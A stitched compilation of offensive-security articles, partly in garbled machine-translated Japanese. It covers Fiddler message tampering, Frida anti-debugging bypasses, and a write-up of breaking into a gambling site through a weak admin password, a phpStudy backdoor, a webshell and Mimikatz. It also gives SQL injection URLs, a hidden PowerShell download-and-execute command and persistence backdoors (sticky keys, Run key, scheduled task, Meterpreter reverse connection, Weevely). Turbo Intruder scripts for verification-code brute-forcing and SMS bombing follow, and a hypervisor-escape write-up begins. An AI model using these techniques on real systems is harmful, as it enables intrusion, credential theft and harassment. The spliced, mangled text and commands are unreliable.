這將創建一個請求斷點,對所有包含ToApp字符串的請求都會觸發該斷點,NMM用它來記錄發送到原始Native Host的請求。

1.png

通過Fiddler的檢查器,我們可以使用JSON Treeview、TextView或SyntaxView檢查器來檢查消息的JSON。

1.png

如果我們對消息感到滿意,請點擊Run to Completion按鈕,這時,NMM應用程序就會把未經修改的原始消息發送到原始的Native Host。然而,如果我們想篡改消息,可以從下拉菜單中挑選一個成功響應,如200_SimpleHTML.dat:

1.png

這時,模板響應將出現在響應文本視圖中:

1.png

現在,請用您想要使用的文本覆蓋模板文本:

1.png

……然後按綠色“Run to Completion”按鈕。這時,Fiddler將修改後的文本返回給NMM代理,然後NMM代理將修改後的消息傳遞給原始Native Host:

1.png

就這裡來說,原始Native Host並不知道如何處理GetFiddledCookies請求,所以,它會返回一個錯誤,而該錯誤將傳回瀏覽器。

提示:如果您的目標是篡改從Native Host發送到擴展的消息,請在Fiddler的QuickExec框中輸入bpu ToExt。或者,您也可以使用Fiddler的其他篡改功能,比如讓它只攔截包含某些文本的消息,自動重寫某些消息,等等。

祝您閱讀愉快!

在本文中,我們將介紹如何使用Frida繞過一些應用程序實現的反調試技術的實際示例。

FridaFrida是一個動態代碼檢測工具包。換句話說,它是一組允許代碼插裝的工具,提供給我們一些API,使我們能夠在執行過程中攔截、分析和修改Windows、macOS、GNU/Linux、iOS、Android和QNX應用程序的部分代碼。本質上,Frida允許在運行時對即將執行的操作進行操作。比如,當我們從一個簡單的c++程序開始,該程序使用一個函數將兩個值相加並返回結果。我們想要操作的函數聲明為Add(int,int)。首先,我們將更改其中一個int參數,然後,更改返回的結果。編譯完代碼後,我們需要通過分析可執行代碼來定位Add函數的偏移量。在本例中,我們使用IDA Pro來分析代碼,但也可以使用允許我們分析可執行代碼的任何其他方法或應用程序。我們在偏移量0x00401000處確定函數,並且我們知道可執行文件的基址是0x00400000,因此,函數的偏移量是0x00001000。

1.jpg

然後,我們可以攔截函數調用並使用Frida修改其行為。我們將開發一個小Javascript腳本來完成這項工作。首先,我們需要確定程序在執行時被加載的位置、它的基址,然後,我們可以通過將這個基址和之前獲得的偏移量(base +0x00001000)相加來定位Add函數的偏移量。現在,我們可以使用帶有函數地址的Interceptor來在函數執行之前或之後添加一些代碼。我們使用Frida Javascript API 來完成這一切。

2.jpg

因此,當我們以' 1 '和' 2 '作為參數執行應用程序時,我們期望結果是' 1 + 2=3 '。但是,如果我們取消註釋第一行(args[0]=ptr(' 100 ');)在函數執行之前,我們將變量op1的值替換為100,得到的結果為' 1 + 2=102 '。另一方面,如果取消註釋第二行(retval.replace(' 3210 ')) ,我們會在函數Add 執行之後但在返回結果之前替換返回值,得到'1 + 2=3210'。

3.jpg

基於系統調用的技術在這個檢測結果中,我們考慮使用Windows API的函數來獲取與調試器存在相關的信息的技術。有很多函數可以用於這個目標:從像IsDebuggerPresent這樣的函數,它返回一個布爾值,這個值取決於應用程序是否被調試(True或False),到像FindWindow這樣的函數,它告訴我們是否存在一個帶有知名調試器(IDA、Ollydbg、Inmunity 調試器等)名稱的窗口。

基於內存檢查的技術應用程序對內存中的某些標誌進行顯式驗證的方法,這些標誌顯示進程是否正在調試。可以用於此目的的一些標誌是IsDebugged 標誌、Heap標誌或NTGlobalFlag。這些標誌是Windows 為每個進程維護的結構的成員,其中包含有關它們的信息。

基於時間的技術這個檢測結果包括使用與時間相關的計算來確定是否正在調試進程的方法,當一個進程正在被調試時,執行同一組指令所花費的時間要比未被調試時多。這種時差通常是很明顯的。出於這個原因,應用程序可以檢查一組指令執行開始和結束的時間,如果它花費的時間超過一個既定的閾值,它可以很有可能確定該過程是正在調試。

基於異常的技術最後,我們根據觸發異常對一組方法進行分組,以確定進程是否正在被調試。在調試進程和未調試進程時,系統處理異常的方式是不同的。程序可以利用這一事實來確定是否附加了調試器。

設置測試環境為了實現我們的設置,我們將使用Windows 10虛擬機,我們最初將在其中安裝Python 3.8.6rc1。

然後我們安裝Frida,它可以直接從GitHub下載,或者使用Python pip工具安裝。我們使用pip是因為它比其他方法更簡單。

4.jpg

我們還安裝了Visual Studio Community 2019來開發示例程序,在示例程序中我們實現了一些反調試技術來展示它是如何工作的。這些程序將被用來測試繞過這些反調試技術的不同方法。 Frida 的使用方式有很多種:我們可以直接使用包中包含的可執行文件(每個可執行文件都有特定的功能),也可以使用包中也包含的Python 模塊來開發我們自己的接口。

我們選擇了第二種方法,開發了一個小接口,允許我們生成新的進程或附加到現有進程中,注入一個或多個提供某些功能的腳本。我們選擇這種方式是因為我們希望能夠根據特定的需求定制接口,這些需求將在以後的文章中詳細介紹。

接下來,我們將討論基於以下系統調用的技術:IsDebuggerPresent、NtQueryInformationProcess 和CreateToolhelp32Snapshot。所有這些都使我們能夠了解如何以不同的方式使用Frida,以繞過這些控制。

IsDebuggerPresent我們將嘗試繞過的第一個檢查是基於系統調用IsDebuggerPresent 的方法。正如Microsoft 文檔中所指出的,此函數不接收任何參數,並根據進程是否正在調試返回一個布爾值:返回值“True”表示正在調試進程,“False”表示相反。為了說明這個方法,我們開發了一個使用這個系統調用執行調試檢測的簡單程序:

5.png

在第一個控制台中,我們看到當我們從Visual Studio執行應用程序時,應用程序如何指示它正在被調試。但是,如果應用程序是直接從終端執行的,則表明它沒有被調試。檢查這個事實的另一種方法是從像x64dbg 這樣的調試器中執行它。唯一用來做決定的是函數IsDebuggerPresent 返回的值,因此,我們應該用Frida 開發一個腳本,攔截這個調用並修改返回值,總是返回False (0x0)。下面的腳本是為了完成所有這些而開發的:

首先,它使用Module.findExportByName(第3 行)定位函數“IsDebuggerPresent”的地址。

一旦獲得這個地址,它就會使用Interceptor.attach(.) 攔截這個調用(第8 行)。

最後,它在函數結束之前(第13 行)將返回值替換為0x0 (False)。

6.png

NtQueryInformationProcess我們將展示的第二個系統調用是NtQueryInformationProcess。這個函數讓我們獲得與進程相關的不同信息。它比上一個更複雜,因為它允許我們使用ProcessInformationClass參數選擇要查詢的信息,並且它將在ProcessInformation參數上為我們提供這些信息。

在本例中,我們將展示如何繞過4 項檢查,每項檢查使用不同的ProcessInformationClass 值。這些值是:ProcessDebugPort、ProcessDebugFlags、ProcessDebugObjectHandle 和ProcessBasicInformation。

ProcessDebugPort (0 x7)如果附加了任何調試器,此類用於獲取調試器的端口號。如果附加了調試器,此值將不同於0。

ProcessDebugFlags (0x1F)使用此類,我們可以檢索一個標誌,該標誌將為我們提供有關活動調試器存在的信息。在本例中,如果processinformation參數中返回的值為0,則表明正在調試應用程序。

ProcessDebugObjectHandle (0x1E)將此值表示為ProcessInformationClass,僅當正在調試進程時,此系統調用才會返回有效的句柄。

ProcessBasicInformation (0 x0)使用這個類,我們在ProcessInformation 參數中獲得了一個名為PROCESS_BASIC_INFORMATION 的結構,其中包括其他數據:指向PEB 結構的指針(偏移量0x4)、進程的PID(偏移量0x16)和父進程的PID(偏移量0x20)。軟件可以使用此信息應用的一種反調試技術是使用父進程的PID 獲取父進程的名稱,並將其與眾所周知的調試器名稱列表進行檢查。

7.png

如上所述,我們開發了一個小型C++ 應用程序,展示了這種技術的一個示例。為了逃避這些檢查,我們必須使用Frida 開發一個必須執行以下操作的腳本:

首先,它必須使用Module.findExportByName 定位函數“NtQueryInformationProcess”的地址。

然後,它必須使用Interceptor.attach(.) 攔截函數調用。

每次調用函數“NtQueryInformationProcess”(OnEnter)時,腳本必須執行以下操作:

保存參數ProcessInformationClass,允許我們選擇必須修改哪些返回信息(第40 行)。

保存指向返回參數ProcessInformation 的指針(第44、48、52 和57 行)。

還要保存每種情況下所需的參數。

8.png

最後,就在函數結束之前(OnLeave),腳本可以使用之前保存的信息來確定需要使用參數ProcessInformation 返回什麼值。根據this.ProcessInformationClass 我們應該返回以下值:

0x7 (ProcessDebugPort),ProcessInformation 將被替換為值0x0(第63 行)。

0x1F (ProcessDebugFlags),ProcessInformation 將被替換為值0x1(第68 行)。

0x1E(ProcessDebugObjectHandle),在本例中,我們將檢查返回值,如果成功,則將參數ProcessInformation替換為0x0。參數ReturnLength 也將被替換(第72 - 81 行)。

0x0 (ProcessBasicInformation),最後,如果選擇了這個選項,我們應該知道PROCESS_BASIC_INFORMATION 結構體將父進程的PID (InheritedFromUniqueProcessId, offset0x20) 替換為一個非可疑的PID,例如進程‘explorer.exe’ 的PID。

9.png

要使用Frida 獲取進程“explorer.exe”的PID,我們可以使用Windows API 調用,例如函數GetShellWindow 和GetWintowThreadProcessId。我們可以使用NativeFunction del API de Frida 通過Javascript 聲明這些函數,一旦它們被聲明,我們就可以使用它們來獲取進程PID,如下所示:

10.png

使用Visual Studio調試器執行這個示例程序,我們得到如下結果:

11.png

如果我們使用相同的調試器執行相同的應用程序,但注入之前描述的Frida 腳本,我們會得到另一個結果:

12.png

CreateToolhelp32Snapshot接下來我們將討論CreateToolhelp32Snapshot函數。使用這個函數的最常見的反調試技術是驗證父進程的名稱和PID,確定父進程是否是一個知名的調試器,但是這個函數也可以用於其他目的。首先,這個函數創建一個包含一些關於進程、線程和模塊的系統信息的快照。可以使用第一個參數選擇該快照的信息。允許使用以下值:TH32CS_INHERIT、TH32CS_SNAPALL、TH32CS_SNAPHEAPLIST、TH32CS_SNAPMODULE、TH32CS_SNAPMODULE32、TH32CS_SNAPPROCESS、TH32CS_SNAPTHREAD。

使用該函數最基本的反調試技術是只使用TH32CS_SNAPPROCESS來獲取正在運行的進程列表。然後,查找我們的進程,識別我們的進程父進程的PID,然後在列表中查找父進程的信息。最後,驗證父進程的信息。但是,通過使用不同標誌或使用TH32CS_SNAPALL的函數給出的信息,我們可以執行其他驗證。例如:

處理相關驗證(使用TH32CS_SNAPPROCESS):

在整個列表中搜索被禁止的進程(如VsDebugConsole.exe、devenv.exe、x32dbg.exe.),無論該進程是否相關;

模塊相關驗證(使用TH32CS_SNAPMODULE和TH32CS_SNAPMODULE32):

在與我的進程相關的模塊列表中搜索被禁止的模塊(如frida-agent.dll .)。

線程相關驗證(使用TH32CS_SNAPTHREAD):

驗證列出的所有線程都有一個相關聯的進程,試圖檢測隱藏的進程;

驗證應用程序線程數;

驗證我的應用程序中沒有引用禁止模塊的任何線程。

13.png

可見,使用此函數的應用程序可以驗證必須在它們之間保持一致的不同內容。因此,要繞過這些檢查,我們的任務必須是找到一種變通方法,允許我們繞過所有這些檢查,並保持列表的一致性。帶著這個目標,我們研究了這個函數究竟返回了哪些信息,以及我們如何操作它。

函數CreateToolhelp32Snapshot 返回一個SECTION 類型的HANDLE。如果我們分析HANDLE 指向的內存部分,我們可以找到一個未記錄的結構,其中包含以下部分:

14.png

我們可以使用NtQuerySection和NtMapViewOfSection函數來修改與Handle相關的內存,從而修改CreateToolhelp32Snapshot函數返回的快照的內容。因此,我們可以開發一個Frida腳本來修改CreateToolhelp32Snapshot返回的列表,隱藏可以檢查以檢測調試器的進程、模塊和線程,但保持了其一致性。

首先,我們應該定義一個應該隱藏的進程和模塊列表。我們需要知道他們的名字。在這個例子中,我們將隱藏Visual Studio調試器以及與Frida相關的可執行文件和模塊。所以我們定義了2個列表,內容如下:

禁止進程列表:VsDebugConsole.exe、devenv.exe、frida-winjector-helper-32.exe

禁止模塊列表:frida-agent.dll

一旦我們確定要隱藏哪些進程和模塊,我們將像以前一樣掛鉤函數CreateToolhelp32Snapshot。在本例中,我們不修改任何參數或返回值。我們將在函數返回句柄之前截取函數返回句柄,並在返回發生之前執行一些代碼。正如我們之前看到的,使用函數NtQuerySection和NtMapViewOfSection,我們將定位與句柄相關的內存,我們將執行以下步驟:

進程列表修改:

我們應該從進程列表中刪除那些在禁止進程列表中找到的進程。

我們應該刪除對禁止進程的引用,以保持一致性。

例如,我們將要調試的程序可能有一個被禁止的進程作為父進程。因此,我們應該將Parent 的PID 值更改為非可疑進程的PID(如explorer.exe PID)。

模塊列表修改:

我們應該從模塊列表中刪除那些在禁止模塊列表中找到的模塊。

線程列表修改:

我們應該從線程列表中刪除那些由進程列表中刪除的進程擁有的線程;

我們應該從線程列表中刪除那些指向從模塊列表中刪除的模塊的線程;

我們可以通過使用具有THREAD_QUERY_INFORMATION 權限的函數OpenThread 和請求ThreadQuerySetWin32StartAddress 的NtQueryInformationThread 來獲取此信息。將此查詢獲得的信息與與禁止模塊關聯的內存進行比較,我們可以確定是否應該從列表中刪除線程。

15.png

1。情報収集

ターゲットWebサイトを取得すると、非常に従来のBCサイトであることが示されています。

まず、シンプルな情報収集を実行でき、PHPバージョンとWindowsのサービングの2つのより重要な情報をWappalyzerプラグインを通じて見ることができます。

图片コマンドラインnslookup+url IPを表示するには、CDNが見つかりません

图片ラブステーションに行き、見てください

图片さて、カンボジアは大丈夫です

IPアドレスを知った後、ポートスキャンは1つのウェーブです(フルポートスキャン +サービス検出。このプロセスは比較的長い、最初に何か他のことをすることができます)

图片

スキャン後、リモートデスクトップ3389に接続してみてください(最初はWindowsが提供されているサーバーであることがわかりました)

图片は、ポートが変更されたと推測して、ログインIPホワイトリストを推測して2回試しましたか?

2。舞台裏の爆発

Webに戻り、バックハンドでURLの後に管理者を追加します

图片バックエンドが出てきました、このBCは少し悲惨です、私はいくつかの弱いパスワードをランダムにテストしましたが、それは実りがありませんでした

確認する検証コードがないことがわかり、パケットをキャッチして爆発しました。

图片従来の弱いパスワードを見つけるのに十分です。

图片パスワードは数秒でリリースされます:123456、私は嘔吐し、それらの操作とメンテナンスは死に至ることがあります

图片 图片

3。アップロードポイントを見つけます

バックエンドを単純に削除すると、確かに満足しません。

背景のさまざまな機能を大まかに閲覧し、使用する場所を探し、システム管理オフィスにアップロードポイントを見つけました

图片(私のいとこはあなたに領収書コードを送りましたか?金持ちになる機会はここにあります!)

何気なく文を書いて、接尾辞を.jpgに変更し、パケットをつかんで、表示するためにリピーターに送信します

图片「リアル画像タイプではない」とプロンプト、パッケージのPHPサフィックスに変更して、違法なファイルタイプを求めて

图片ホワイトリスト +ファイルヘッダーの確認のように感じます。写真馬を試してみてください

图片はいくつかの波を試しましたが、ホワイトリストは非常に真剣に制限されていましたが、それはありませんでした。

突然行き詰まっていたので、別のブレークスルーを見つける方が良いでしょう

iv。ピークループターン

私はそれについて注意深く考えました。 Windows、Windowsの主流のWebサイトビルディングツール、パゴダ、ガードゴッド、Phpstudy、およびupupwです。私はそのPHPバージョンが前に5.2.17であったことを見ました、そして、私はたまたましばらく前に発生したPHPStudyの2つのバックドアを考えました。バックドアは、PHP-5.4.45とPHP-5.2.17の2つのバージョンに存在します。今すぐテストしてください

图片 图片 Accept-Encoding3: gzip、deflate、削除、GZIPの中央のスペースを削除し、リクエストパッケージでデフレート

以下に文を追加します:accept-charset:+ base64実行されたコマンドのエンコーディング

私はショックを受けました。私は本当にphpstudyを使用してウェブサイトを構築しました。ウェブマスターはあまりにも心配です。次のことはずっと簡単です。

5。アリの剣にはファイルシェル接続がありません

图片エンコーダーをbase64に変更することを忘れないでください

次に、文をエンコードしてbase64をコピーして、accept-charset:の後ろにコピーします

图片アリの剣のリクエスト情報を変更し、以下に示すようにヘッダーヘッドを変更する

图片テスト接続、接続に成功しました

图片 图片それが直接システムの許可であることがわかりました。

6。ミミカッツをアップロードしてハッシュ

をつかみます

图片新しいディレクトリを作成し、winrar.exe+mimikatzをアップロードします

图片アップロードされたwinrarを減圧する、コマンド:winrar.exe e x64.rar

图片 MIMI.BATを実行して、ここで説明してみましょう。以下の画像の後に出口を追加するのが最善であると、Mimikatzはログを書き続け、ログファイルが大きく大きくなります。私はその時にそのような間違いを犯しました。

图片 图片生成されたmimikatz.logをWebサイトのルートディレクトリにコピーして、それを表示します

图片管理者のRDPパスワードを正常にキャプチャしました。

前にスキャンしたフルポートを振り返って、私もスキャンしました

图片は、合計3つのポートが開いていることを示しており、一般的にポート3389が変更されています。 NMAPを使用して-SVパラメーターをスキャンして追加すると、スキャンされたRDPサービスは通常、SSL/不明として表示されます。

リモートデスクトップ接続を試してください

图片 heheheは、正常にログインし、サーバーを倒し、タバコに火をつけ、すべての証拠を詰め込み、電話を取り出して110と呼ばれる

7。要約

ウェブシェルを取得すると、データやソースコードを取得したい場合、包丁またはアリの剣を使用してパッケージ化しますが、現時点では、パッケージの障害や不完全包装など、多くの問題が発生します。

現時点では、相手がWindowsサーバーの場合、ローカルにインストールされているwinrar.exeをアップロードできます。

图片圧縮ディスクの下のDATフォルダーとbat.rarwinrar.exe a -ag -k -r -s -ibck C3:/bak.rar C:/dat/

複数のファイルを圧縮するwinrar a -ag -ibck bak.rar filename1 filename2 filename .

パラメーター説明:A:バックアップすべてのファイル。 -ag:圧縮ファイルを作成する場合、現在の日付文字列を「yyyymmddhhmmss」とファイル名Bakyyymmddhhmmss.rarに添付します。 -K:圧縮ファイルをロックします。 -R:バックアップディレクトリとサブディレクトリ。 -S:固体圧縮ファイルを作成します。 -IBCK:はバックグラウンドで実行されます。

filename1:圧縮されるファイル名は複数であるか、ワイルドカードファイル*を使用できます。

元のリンクアドレスで転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndywmda1na=mid=2247485789Idx=2Sn=a1a3c9fc97eeab0b5e5bd3d311e 3FAE6CHKSM=CE67A3C4F9102AD21CE5C895D364B4D094391D2369EDFC3AFCE63ED0B155F8DB1C86FA6924F1CENE=21##

このステーションは本当に大きいです、いや、このステーションは本当に丸い。phpステーションはさりげなくテストできる

图片 1回の注入

图片 图片 32ビットしか読めないので、サブストリングを使用して個別に読み取る

https://aaaaa.com/1.php?id=210%20and%20extractValue(1,Concat(0x7e,(Select

管理者制限1,1)からのパスワード、0x7e))%20#

https://aaaaa.com/1.php?id=210%20and%20extractValue(1,concat(0x7e、substring((select

管理者制限1,1)からのパスワード、30,35)、0x7e))%20#

图片快適に感じます。

0x02シェルを取り、robots.txtを参照してください

图片INURL:A.com管理者

バックグラウンドに入ると、私はそれがecshopであることがわかりました。ここで、ファイルは画像バイパスに変更されました。

图片はリセットされているようです

ここで私はSQLステートメントを実行できることを発見し、絶対パスリークがあることがわかりました

图片 图片OK言うだけで、文章を書いてください

图片0x03ライセンス图片許可は少し低くなっています

图片 MySQLを使用する他の方法はありません。

图片 MySQLの権利を増やしてみてください

图片 图片アップロードできないディレクトリを除いて、他のすべての条件が満たされるので、私がそれを言わなかったとき、CSにアクセスして、PowerShellをオンライン

图片詳細については、こちらのジューシーなジャガイモを使用してください。 Sanhaoの学生の記事を参照してください。必要なCLSIDを選択してください。リンク

图片次に、システム許可を使用してPowerShellを実行しています

shell style.exe -p 'powershell.exe -nop -w hidden -c \' iex((new -Object.WebClient).DownLoadString( 'PowerShellアドレス'))\ '' -C {e60687F7-01A1-40AA -86AC -DB1CBF67334}ここからの逃亡者を忘れないでください。

图片0x04水平浸透图片はワーキンググループ環境であり、0.9をスキャンし、Webでもあります。ここにハッシュパスがあり、ハッシュをキャッチするために直接転送されます。現在、次のアカウントがあります

wiseadmin Shopaccount mysql wiseadmin filetransfer demoadmin

wdagutilityaccount

通常のハッシュ配信-

图片 Webである必要があり、0.7がデータベースサーバーである可能性があるデモ

すべての管理者権限が利用可能です。システムを取得したい場合は、selectMyparentを使用できます。実際、新しいプロセスでシステムプロセスの子プロセスを設定するのはJです。ここでは、CS馬を使用し、最初にwinlogon.exeのpidを確認します

500であることがわかります

图片その後、System.exeをアップロードしてShell selectmyparent.exe System.exe 500を実行します

图片このステップは、実際に単語の数を構成することです、ハハハハ

0x05:ここでアクセス許可が維持され、ローカルテストが取得されます

スティッキーキーバックドアプレス「シフト」は、窓を連続して5回連続して粘着性キーを呼び出します

图片スティッキーキーは、2つ以上のキーを同時に押すのが困難な人向けに設計されたコンピューターで使用されるショートカットキーを指します。粘着性結合の主な機能は、シフトと他のキーの組み合わせを促進することです。スティッキーキーは、最初に2つのキーを同時に押すのではなく、最初に押すことができ、次に他のキーを押すことができます。これは、物理的な理由で複数のキーを同時に押すことができない人にとっては便利です。一般的なコンピューターは、シフトを5回押すと、粘着性のキープロンプトがあります。

次のコマンドを使用します

CD Windows \ System32Move sethc.exe sethc.exe.bakcopy cmd.exe sethc.exe sethc.exe 3图片ターゲットマシンがウィンビスタまたはそれ以上の場合、それは後でwinvistaを修正する必要があります。管理者とその権限の変更:

图片 图片 图片 图片その後

图片 图片これで、シフトを5回続けて押して、システム許可CMDがポップアップします

图片レジスタインジェクションバックドア

通常のユーザー許可の下で、攻撃者はレジストリに実行する必要があるバックドアプログラムまたはスクリプトパスを書きます

hkey_local_machine \ software \ microsoft \ windows \ currentversion \ run

キー値を任意に設定することも、次のコマンドを実行してスタートアップアイテムを直接追加することもできます。

'hkey_local_machine \ software \ microsoft \ windows \ currentversion \ run' /v

test /t reg_sz /d 'c: \ shell.exe'管理者がシステムに戻ってログインすると、バックドアプログラムが実行されます

图片プランタスクのバックドア

コマンド:SCHTASKS /CREATE /TN UPDATER /TR C: \ shell.exe /sc hourly /moコマンド上記のコマンドは1時間に1回shell.exeを実行し、Win7以下などのシステムでSchtasksの代わりにATコマンドを使用します。

メータープレターバックドア

MeterPreter Run Run Persistence -U -I 5 -P 1234 -R 192.168.220.128 -A

マッチングを自動的に開始します

プロキシ-Lに接続するExploit/Multi/Handler%TEMP%が使用されていない場合、ペイロードの位置はターゲットホストに記述されます。

-pペイロードの使用法、デフォルトはWindows/MeterPreter/Reverse_TCPです。

-sはトロイの木馬をサービスとして自動的に開始します(システムの許可を使用)

-t使用する代替実行可能テンプレート

-uユーザーがログインしたときにトロイの木馬は自動的に開始されます

-xシステムがブーツが起動するときにトロイの木馬は自動的に開始されます

-hこのヘルプメニュー

- 各接続試行の間の時間間隔(秒)

-pポートMetasploitを実行しているシステムが聴いています

-Rメタスプロイトを実行しているシステムのR IP接続を聞いている

欠点は、ウイルス対策ソフトウェアによって簡単に検出され、ターゲットマシンに新しいVBSファイルを作成し、毎回自動的に起動することです。图片WEBバックドア、ここでshell.phpを生成してテストすることができます。

图片 图片ファイルをサーバーディレクトリに入れて実行する

Weevely http://192.168.220.1/shell.phpshellは、ヘルプを見るのに役立ちます

audit.etcpasswd |列挙/etc /passwd audit.userfiles |ユーザー/Home audit.mapwebfilesの下でアクセス許可を持つファイルをリストします|任意のWebサイトshell.php |のURLリンクを列挙しますphp file shell.sh |を書き込みますシステムスクリプトsystem.info |を書き込みますシステム情報を収集します。suidsgid| suid/sgidファイルとディレクトリfind.perms |を検索しますPermissions Readable/Write/Executable Files and Directories Backdoor.tcp |を見つけますTCPポートバックドアバックドア。ReversetCP|リバウンドTCP接続BruteForce.sql |指定されたデータベースのユーザー名とパスワードBruteforce.sqlusers |すべてのデータベースユーザーパスワードfile.upload |を爆破しますローカルファイルfile.upload2web |をアップロードしますバイナリ/ASCIIファイルをターゲットサイトフォルダーにアップロードし、URLファイルを列挙します。ENUM|ローカル語彙file.read |ファイルfile.rm |を読み取りますファイルfile.check |を削除しますリモートファイル(MD5値、サイズ、許可など)のステータスを確認します。ファイル。ダウンロード|リモートバイナリ/ASCIIファイルをローカルSQL.CONSOLEにダウンロードします| SQL Console SQL.Dumpを開始|バックアップデータベース、つまり、net.scan |を除去しますポートスキャンnet.phpproxy |リモートPHPプロキシnet.ifaces |をインストールしますリモートホストネットワークインターフェイス情報net.proxyを表示|を表示しますトンネル通信エージェントをインストールして、いくつかのWindowsコマンドを実行する

图片ビルトインコマンドをセットします

图片 图片元のリンクで転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndawmda1na==mid=2247485826Idx=2SN=8F11B7CC12F6C5DFB5EEEEB316F14F460CH KSM=CE67A31BF9102A0D704877584DC3C49141A376CC1B35C0659F3AE72BAA7E77E6DE7E0F916DB5CENE=21#WECHAT_REDIRECT

1。プラグインの紹介

Turbointruderは、多数のHTTPリクエストを送信し、結果を分析し、10億のリクエスト攻撃を採用するげっぷスイート拡張プラグインです。これは、Burpintruderを例外速度、期間、または複雑さを必要とする攻撃で補足するように設計されています。

2。プラグインの原理

最初の要求を使用して接続を確立します。その後のリソースの獲得は、この接続を通じてリソースの長い接続を取得することです。また、HTTPパイプライン(HTTPパイプライン)を使用してリクエストを送信します。このメソッドは、前のリクエストの応答を待っている間に次のリクエストを送信します。送信プロセス中、サーバーが前のリクエストに応答するのを待つ必要はありません。ただし、クライアントは、リクエストが送信される順序で応答を受信する必要があります。 HTTPパイプラインを介してリクエストを開始することは、短い接続の速度の6000%です(Connection: close)

3。インストール方法

インストールターボインクループラグインBURPスイート1049983-20240322091638266-1772887275.png

iv。使用方法

パケットを選択して右クリックしてターボ侵入者に送信を選択します(パケットはここでrawいなければなりません。クロールがない場合は、チューブ侵入者への送信メニューは表示されません)

1049983-20240322091639122-1416561383.png

この時点で、新しいウィンドウが開きます。ウィンドウの上部は元のHTTPリクエストパッケージ、下部は操作コード、中央部はシーンに応じてドロップダウンボックスから特定の操作コードを選択できます。開くたびに、デフォルトは最後のコードで使用されています。これは前回使用されるコードです。

1049983-20240322091639931-438133108.png

コード領域は、ファズする必要がある部品の代わりに「%s」文字を使用する必要があります。対応する操作コードを選択し、下部の攻撃をクリックして攻撃を開始します。特定の使用法の詳細については、それらを3番目のパートの使用シナリオと組み合わせることができます。

5。使用シナリオ

1。検証コードブラスト

主に携帯電話の検証、電子メール検証コードログイン、パスワード回復機能に表示されます。検証コードの爆発では、ユーザーがユーザーを引き継ぐ機能を達成するためにユーザー名の列挙が必要です。

検証コードブラスト操作コード:

Itertools Import製品から

def brute_veify_code(ターゲット、エンジン、長さ):

pattern='1234567890'#辞書の生成に使用される#iterativeオブジェクト

リスト(製品(パターン、繰り返し=長さ)): #Product()のIの場合、複数の反復オブジェクトを受信し、デカルト製品を生成します。繰り返しパラメーターは、反復オブジェクトの数を表します。

code='' .join(i)

Engine.Queue(ターゲット.req、コード)

def queuerequests(ターゲット、ワードリスト):

Engine=requestEngine(endpoint=target.endpoint、#ターゲットのアドレスを指定します

concurrentConnections=30、#makeサーバーとの30接続

RequestSperConnection=100、#send 100の接続ごとに同時に100リクエスト

Pipeline=True #Enable Pipeline(HTTP Pipelining)モード

))

brute_veify_code(ターゲット、エンジン、6)#modify検証コード数字の数に従ってモディー

DEF Handleresponse(REQ、興味深い):

req.response: #operate応答に「エラー」がない場合、テーブルに「エラー」を追加します

Table.Add(req)

デモ:

Baidu WDパラメーターが数値6ビット検証コードであると仮定します。パラメーター値を「%s」に置き換え、上記のコードを操作コード領域にコピーします

1049983-20240322091640898-513156876.jpg攻撃をクリックして攻撃を開始すると、「%s」が生成された辞書コンテンツに置き換えられていることがわかります。 29431リクエストは31秒で正常にリクエストされ、949のRPSで

1049983-20240322091641780-1235609231.jpg

2。同時テスト

同時脆弱性はビジネスロジックの脆弱性であり、チェックイン、宝くじ、クーポンコレクション、その他の機能ポイントなどの回数を制限する機能ポイントに存在します。並行性テクノロジーを使用してテストして、サーバーが複数回正常に応答できるかどうかを確認します。

同時テストの操作コード:

def queuerequests(ターゲット、ワードリスト):

Engine=requestEngine(endpoint=target.endpoint、

concurrentConnections=30、

RequestSperConnection=100、

パイプライン=false

))

範囲のIの場合(30): #Create 30リクエスト。

Engine.queue(ターゲット.req、ターゲット、baseinput、gate='race1')

#wait各「race1」タグ付けされた要求が準備ができてから、各リクエストの最後のバイトを送信するまで

Engine.opengate( 'race1')#identify同じ同時テストに属する要求

Engine.comPlete(タイムアウト=60)

DEF Handleresponse(REQ、興味深い):

Table.Add(req)

デモ:このコードは、プラグイン /examples/race.pyでオプションです

1049983-20240322091642585-458205074.jpg同時テストでは、元のリクエストパッケージの処理は必要ないため、次の問題に遭遇する可能性があります。1049983-20240322091643315-442669725.jpgツール実行プロセスのため、元のリクエストパッケージに「%s」フィールドが必要なため、リクエストパッケージのどこにでも「%s」を追加する必要があります。1049983-20240322091644226-1882842261.jpg 1049983-20240322091644975-1755280813.jpg

3.SMS爆撃

検証コードを取得するためにウェブサイトでユーザー登録ページを見つけました。 x:%sをリクエストヘッダーに追加することを忘れないでください(ターボの%sはburp侵入者の§s§に似ています。反復変数はありませんが、ターボの起動時に%sはチェックされます)このコードはプラグイン /examples/race.py

1049983-20240322091642585-458205074.jpg 1049983-20240322091647807-1201234456.jpg同時にデータパケットを送信すると、送信結果の長さの大部分は328。328であることがわかります。1049983-20240322091648484-1597882403.jpg

在這個挑戰中,我們被賦予了運行在hypervisor中的linux虛擬機的root權限,目標是實現hypervisor逃逸,以訪問宿主機系統上的旗標文件。在這個過程中,我們發現了多個安全漏洞,通過它們可以實現lkvm的零日攻擊,使得具有虛擬機訪問權限的攻擊者能夠在宿主機上執行任意命令。

在這篇文章中,當提到行號時,請參考kvmtool的git checkout 39181fc6429f4e9e71473284940e35857b42772a。

攻擊面由於我們是在hypervisor內運行,並且宿主機和虛擬機內存之間實現了顯式的隔離,因此,我們需要找到一種方法與宿主機的進程進行通信。實際上,我們可以通過pci與宿主機進行通信,因為Lkvm通過pci模擬了3個硬件設備:virtio-console、virtio-net和virtio-balloon。我們可以使用內存映射的IO與這些設備進行交互,也就是對特定的物理內存地址進行讀取和寫入操作。如果我們對0xd2000000-0xd20000ff(balloon-virtio)範圍內的地址進行寫操作,虛擬機就會被中斷,並且控制流將被傳遞給linux系統的kvm驅動程序,然後進一步傳遞給lkvm進程。

信息洩露當從這個地址執行讀取操作時,我們首先遇到的一個函數是virtio/pci.c第148行的virtio_pci__data_in函數:

image.png

該函數可以將偏移量映射為bar(地址範圍),這意味著,如果我們在地址0xD2000000+VIRTIO_PCI_QUEUE_NUM==0xD2000008處執行讀取操作,我們將進入第二個case子句。需要注意的是,這裡的默認case子句非常有趣:在第118行調用virtio_pci__specific_data_in:

image.png

